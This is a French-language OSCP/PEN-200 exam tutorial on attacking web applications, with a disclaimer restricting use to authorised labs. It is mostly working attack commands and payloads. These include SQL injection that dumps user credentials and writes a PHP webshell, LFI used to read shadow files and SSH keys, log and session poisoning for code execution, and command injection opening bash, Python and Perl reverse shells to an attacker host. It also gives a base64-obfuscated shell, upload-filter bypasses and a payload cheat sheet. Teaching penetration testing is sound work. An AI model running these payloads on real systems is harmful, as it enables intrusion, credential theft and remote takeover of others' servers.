Avertissement légal : toutes les techniques présentées sont à appliquer exclusivement sur des applications web dans des environnements de test autorisés — labs OffSec PEN-200, machines CTF, environnements de staging avec autorisation écrite. Toute exploitation d’une application en production sans autorisation est illégale.
La phase d’exploitation web dans l’OSCP commence après l’énumération (Gobuster, Nikto, wfuzz). Ce tutoriel couvre les quatre vecteurs les plus fréquents dans le PEN-200 : injection SQL, Local File Inclusion, injection de commandes, et upload de fichier — de la détection au shell.
1. Reconnaissance web initiale
Étape 1 — Identifier la stack technologique
# WhatWeb — détecte CMS, framework, serveur web, langages
whatweb http://10.10.10.x/
# WEBrick, WordPress 6.x, PHP 8.x, Apache 2.4...
# Wappalyzer (extension navigateur) — alternative graphique
# Headers HTTP — version serveur, cookies, framework
curl -I http://10.10.10.x/
# Server: Apache/2.4.41
# X-Powered-By: PHP/7.4.3
# Set-Cookie: PHPSESSID=...; path=/
Étape 2 — Énumération des répertoires et fichiers
# Gobuster — répertoires et fichiers
gobuster dir -u http://10.10.10.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,bak,zip,sql -t 40
# ffuf — plus rapide, filtrage avancé
ffuf -u http://10.10.10.x/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403 -t 50
# Nikto — scan de vulnérabilités web connues
nikto -h http://10.10.10.x/ -C all 2>/dev/null
Étape 3 — Énumération des paramètres et formulaires
# Burp Suite — proxy et intruder (indispensable pour les exams avec appli web)
# Configurer Firefox : Proxy → Manual → 127.0.0.1:8080
# curl — tester manuellement les paramètres GET/POST
curl "http://10.10.10.x/page.php?id=1"
curl -X POST -d "username=admin&password=test" http://10.10.10.x/login.php -v
# wfuzz — fuzzing de paramètres
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
--hc 404 "http://10.10.10.x/page.php?FUZZ=test"
2. SQLi manuelle — détection et exploitation
Étape 1 — Détecter l’injection SQL
# Dans un paramètre GET/POST/Cookie, tester :
?id=1' → erreur SQL ou comportement différent = potentiellement vulnérable
?id=1-- → commenter la suite de la requête
?id=1' OR '1'='1 → toujours vrai
?id=1' AND '1'='2 → toujours faux (page vide ou différente)
# Exemple avec curl
curl "http://10.10.10.x/item.php?id=1'"
# You have an error in your SQL syntax... ← VULNÉRABLE
curl "http://10.10.10.x/item.php?id=1 AND 1=1-- -" # page normale
curl "http://10.10.10.x/item.php?id=1 AND 1=2-- -" # page vide
Étape 2 — Trouver le nombre de colonnes (ORDER BY)
# Augmenter jusqu'à obtenir une erreur
?id=1 ORDER BY 1-- - → OK
?id=1 ORDER BY 2-- - → OK
?id=1 ORDER BY 3-- - → OK
?id=1 ORDER BY 4-- - → ERREUR → 3 colonnes dans la requête
Étape 3 — UNION SELECT pour extraire des données
# Trouver quelle colonne est affichée (visible dans la page)
?id=-1 UNION SELECT 1,2,3-- -
# Si "2" apparaît dans la page → la 2ème colonne est affichée
# Extraire la version et la base de données
?id=-1 UNION SELECT 1,version(),database()-- -
# → 10.3.27-MariaDB | webapp
# Lister toutes les bases de données
?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
# Lister les tables de la base "webapp"
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -
# → users,products,orders
# Lister les colonnes de la table "users"
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
# → id,username,password,email
# Extraire les données
?id=-1 UNION SELECT 1,group_concat(username,':',password SEPARATOR '\n'),3 FROM users-- -
# → admin:$2y$10$abc..., bob:plaintext123
Étape 4 — SQLi vers lecture de fichiers (si FILE privilege)
# Lire /etc/passwd
?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3-- -
# Lire le code source de l'application
?id=-1 UNION SELECT 1,load_file('/var/www/html/config.php'),3-- -
# → credentials DB en clair dans le code source
Étape 5 — SQLi vers écriture de webshell (INTO OUTFILE)
# Prérequis : FILE privilege + répertoire web writable
# Vérifier le chemin web
?id=-1 UNION SELECT 1,@@datadir,3-- -
# → /var/lib/mysql/
# Écrire un webshell PHP
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
# Vérifier et utiliser
curl "http://10.10.10.x/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)
3. SQLmap — automatisation SQLi
SQLmap automatise la détection et l’exploitation des injections SQL. À utiliser après confirmation manuelle qu’un paramètre est vulnérable.
Étape 1 — Détection automatique
# Paramètre GET
sqlmap -u "http://10.10.10.x/item.php?id=1" --dbs --batch
# Paramètre POST
sqlmap -u "http://10.10.10.x/login.php" \
--data="username=admin&password=test" --dbs --batch
# Via un fichier de requête Burp (Request → Save item)
sqlmap -r request.txt --dbs --batch
# Options importantes :
# --batch : répondre "yes" à toutes les questions automatiquement
# --dbs : lister les bases de données
# --level=5 : tests plus agressifs (1-5)
# --risk=3 : risque d'erreur plus élevé (1-3)
Étape 2 — Extraire des données
# Lister les tables d'une base
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp --tables --batch
# Extraire le contenu d'une table
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp -T users --dump --batch
# Extraire uniquement certaines colonnes
sqlmap -u "http://10.10.10.x/item.php?id=1" \
-D webapp -T users -C username,password --dump --batch
Étape 3 — Shell via sqlmap
# Webshell interactif (si INTO OUTFILE est disponible)
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-shell --batch
# sqlmap dépose automatiquement un webshell et ouvre un shell interactif
# Shell système via --os-cmd
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-cmd="id" --batch
4. LFI — Local File Inclusion
Une LFI permet d’inclure un fichier arbitraire du serveur dans la réponse HTTP. Elle révèle des fichiers sensibles et peut mener à un RCE via plusieurs techniques.
Étape 1 — Détecter la LFI
# Paramètre typique
http://10.10.10.x/page.php?file=about
http://10.10.10.x/index.php?page=home
http://10.10.10.x/view.php?path=docs/manual
# Tester avec /etc/passwd
curl "http://10.10.10.x/page.php?file=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash → VULNÉRABLE
# Path traversal variantes
curl "http://10.10.10.x/page.php?file=....//....//....//etc/passwd"
curl "http://10.10.10.x/page.php?file=%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" # URL encoded
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"
Étape 2 — Fichiers intéressants à lire via LFI
# Linux — fichiers sensibles
../../../../etc/passwd
../../../../etc/shadow # si www-data peut le lire
../../../../etc/ssh/sshd_config
../../../../home/user/.ssh/id_rsa # clé SSH privée
../../../../var/www/html/config.php # credentials DB
../../../../var/www/html/wp-config.php # WordPress credentials
../../../../proc/self/environ # variables d'environnement
../../../../var/log/apache2/access.log # log Apache (→ log poisoning)
../../../../var/log/nginx/access.log # log Nginx
../../../../var/log/auth.log # SSH login attempts
# Windows — fichiers sensibles
..\..\..\..\Windows\System32\drivers\etc\hosts
..\..\..\..\Windows\win.ini
..\..\..\..\inetpub\wwwroot\web.config
..\..\..\..\xampp\htdocs\config.php
Étape 3 — Fuzzing LFI avec wfuzz
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
--hc 404 --hl 0 \
"http://10.10.10.x/page.php?file=FUZZ"
5. LFI vers RCE
Technique 1 — Log Poisoning (Apache/Nginx)
# Étape 1 — Vérifier que le log est lisible
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log"
# Si la réponse contient des lignes de log → lisible
# Étape 2 — Injecter un webshell dans le User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
# Le User-Agent est logué dans access.log
# Étape 3 — Inclure le log avec le paramètre cmd
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data)...
Technique 2 — PHP Wrappers
# Lire du code source PHP encodé en base64 (évite l'exécution)
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=config.php"
# → PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=
echo "PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=" | base64 -d
# → <?php $db_pass="supersecret"; ?>
# Exécuter du code PHP via data:// (si allow_url_include = On)
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
# PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ = <?php system($_GET['cmd']); ?>
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id"
Technique 3 — PHP Session Poisoning
# Étape 1 — Vérifier l'emplacement des sessions PHP
curl "http://10.10.10.x/page.php?file=../../../../etc/php/7.4/apache2/php.ini" | grep session.save_path
# session.save_path = "/var/lib/php/sessions"
# Étape 2 — Injecter du PHP dans une variable de session
# Se connecter avec un username qui contient du code PHP
curl -v -b "PHPSESSID=abc123" \
-X POST -d "username=<?php system(\$_GET['cmd']); ?>" \
http://10.10.10.x/login.php
# Étape 3 — Inclure le fichier de session
curl "http://10.10.10.x/page.php?file=../../../../var/lib/php/sessions/sess_abc123&cmd=id"
Technique 4 — /proc/self/fd poisoning
# Injecter PHP dans les headers et inclure le FD du log
# Généralement fd/2 (stderr) ou fd/1 (stdout) contient les logs
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
for fd in $(seq 0 20); do
echo "Testing fd $fd:"
curl -s "http://10.10.10.x/page.php?file=/proc/self/fd/$fd&cmd=id" | grep "uid="
done
6. Command Injection
Une application qui passe une entrée utilisateur directement à un appel système (system(), exec(), popen()) sans sanitisation est vulnérable à l’injection de commandes.
Étape 1 — Détecter l’injection de commandes
# Contexte typique : outil "ping" ou "nslookup" dans une appli web
# Formulaire : "Entrez une IP à pinger"
# Valeur soumise : 127.0.0.1
# Tester les séparateurs de commandes
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 || id
`id` # backticks
$(id) # command substitution
# URL encode si nécessaire
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%3Bid" # ; = %3B
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%26%26id" # && = %26%26
Étape 2 — Confirmer et obtenir un reverse shell
# Confirmer avec une requête DNS ou HTTP vers votre serveur
# Sur Kali — tcpdump pour capter le ping ICMP
sudo tcpdump -i tun0 icmp
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;ping -c 1 10.10.14.x"
# Reverse shell bash
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"
# URL-encoded
curl "http://10.10.10.x/ping.php" \
--data-urlencode "ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"
Contournement des filtres courants
# Filtre sur les espaces → utiliser $IFS ou {,}
cat${IFS}/etc/passwd
{cat,/etc/passwd}
# Filtre sur les slash → utiliser $HOME
echo${IFS}$HOME
# Filtre sur les commandes → rotation de base64
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC54LzQ0NDQgMD4mMQ==" | base64 -d | bash
# = bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
7. File Upload — bypass de filtres
Les applications qui permettent l’upload de fichiers sans validation stricte du type peuvent être exploitées pour déposer un webshell.
Étape 1 — Tester l’upload basique
# Créer un webshell PHP minimal
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Uploader et noter l'URL de stockage
# Tester : http://10.10.10.x/uploads/shell.php?cmd=id
Étape 2 — Bypass de filtre sur l’extension
# Extensions PHP alternatives selon la configuration du serveur
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.shtml
# Double extension
shell.php.jpg
shell.jpg.php
# Case sensitivity
shell.PHP
shell.PhP
# Null byte (anciennes versions PHP)
shell.php%00.jpg
shell.php\x00.jpg
Étape 3 — Bypass du filtre MIME type (Content-Type)
# Intercepter l'upload avec Burp Suite
# Modifier le Content-Type dans la requête HTTP
# Changer : application/x-php → image/jpeg
# Avec curl — forcer le content-type image
curl -X POST http://10.10.10.x/upload.php \
-F "file=@shell.php;type=image/jpeg" \
-b "PHPSESSID=votre_session"
Étape 4 — Bypass du filtre sur les magic bytes
# Ajouter les magic bytes d'une image JPEG en tête du fichier PHP
# JPEG magic bytes : FF D8 FF E0
printf '\xff\xd8\xff\xe0' > shell_img.php
echo '<?php system($_GET["cmd"]); ?>' >> shell_img.php
# Vérifier
file shell_img.php
# shell_img.php: JPEG image data... ← bypass du contrôle file type
Étape 5 — Webshell dans les métadonnées d’image (exiftool)
# Injecter du PHP dans les métadonnées d'une vraie image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell_meta.jpg
# Si le serveur renomme en .jpg mais l'exécute via include()
# http://10.10.10.x/view.php?file=uploads/shell_meta.jpg&cmd=id
Étape 6 — Upload de .htaccess pour forcer l’exécution PHP
# Si le répertoire d'upload accepte un .htaccess
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Uploader .htaccess dans le répertoire d'upload
# Ensuite uploader shell.jpg (avec code PHP dedans)
# Le serveur exécutera shell.jpg comme du PHP
8. Reverse shells web
Stabiliser un shell www-data après obtention initiale
# Sur Kali — listener
nc -lvnp 4444
# Payload dans le webshell ou la LFI
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
# Reverse shell Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.x",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Reverse shell Perl
perl -e 'use Socket;$i="10.10.14.x";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Stabiliser le shell (TTY complet)
# Sur le shell nc obtenu — étape 1 (spawner un PTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# ou
script /dev/null -c bash
# Étape 2 — background + config terminal
# Ctrl+Z (met le shell nc en background)
stty raw -echo; fg
# Appuyer Entrée deux fois si besoin
# Étape 3 — corriger la taille du terminal
export TERM=xterm
export SHELL=/bin/bash
stty rows 38 cols 116 # adapter à votre terminal
Reverse shells Windows via webshell ASPX
# Générer un webshell ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
-f aspx -o shell.aspx
# Uploader sur le serveur IIS → http://10.10.10.x/shell.aspx
# Sur Kali
nc -lvnp 4444
Reverse shell PHP URL-encoded (pour injection via LFI)
# Version base64 pour éviter les mauvais caractères
php_shell='<?php system($_GET["cmd"]); ?>'
echo "$php_shell" | base64
# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
# Via data:// wrapper
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"
9. Checklist exam exploitation web
| # | Vérification | Outils | Priorité |
|---|---|---|---|
| 1 | Identifier la stack (CMS, framework, langage) | whatweb, curl -I, Wappalyzer | Haute |
| 2 | Énumérer les répertoires | gobuster, ffuf | Haute |
| 3 | Identifier les formulaires et paramètres | Burp Suite, wfuzz | Haute |
| 4 | Tester SQLi sur chaque paramètre | Tests manuels + sqlmap | Haute |
| 5 | Tester LFI sur les paramètres file/page/path | curl, wfuzz LFI wordlist | Haute |
| 6 | LFI → log poisoning si logs lisibles | curl -A, access.log | Moyenne |
| 7 | Tester command injection sur les outils réseau | Séparateurs ; && | || | Haute |
| 8 | File upload — bypass extension et MIME | Burp Intercept, extensions PHP alternatives | Haute |
| 9 | Nikto — vulnérabilités connues du serveur | nikto -h | Basse (automatique) |
| 10 | Stabiliser le shell obtenu | python3 pty.spawn + stty raw | Immédiate après shell |
Payloads de référence rapide
| Technique | Payload de test rapide |
|---|---|
| SQLi détection | ' puis ' OR '1'='1'-- - |
| LFI basique | ../../../../etc/passwd |
| PHP source via wrapper | php://filter/convert.base64-encode/resource=index |
| Command injection | ; id puis ; ping -c 1 10.10.14.x |
| Reverse shell bash | bash -i >& /dev/tcp/10.10.14.x/4444 0>&1 |
| Webshell PHP minimal | <?php system($_GET["cmd"]); ?> |
Ressources et références
- PortSwigger Web Security Academy — labs interactifs SQLi, LFI, XSS, SSRF (gratuit)
- OWASP Top 10 — référence des vulnérabilités web les plus courantes
- HackTricks — File Inclusion — techniques LFI/RFI complètes
- PayloadsAllTheThings — référence de payloads pour toutes les vulnérabilités web
- SecLists — wordlists pour fuzzing web, LFI, SQLi
- OffSec PEN-200 — module Web Application Attacks
Prochaines étapes
- Une fois un shell obtenu sur la cible web, appliquez les techniques d’escalade de privilèges selon l’OS : Escalade de privilèges Linux ou Escalade de privilèges Windows.
- Si la cible fait partie d’un réseau interne inaccessible depuis Kali, consultez Pivoting réseau : chisel et ligolo-ng.
- Après avoir compromis toutes les machines, passez à la dernière étape : Rédiger le rapport OSCP.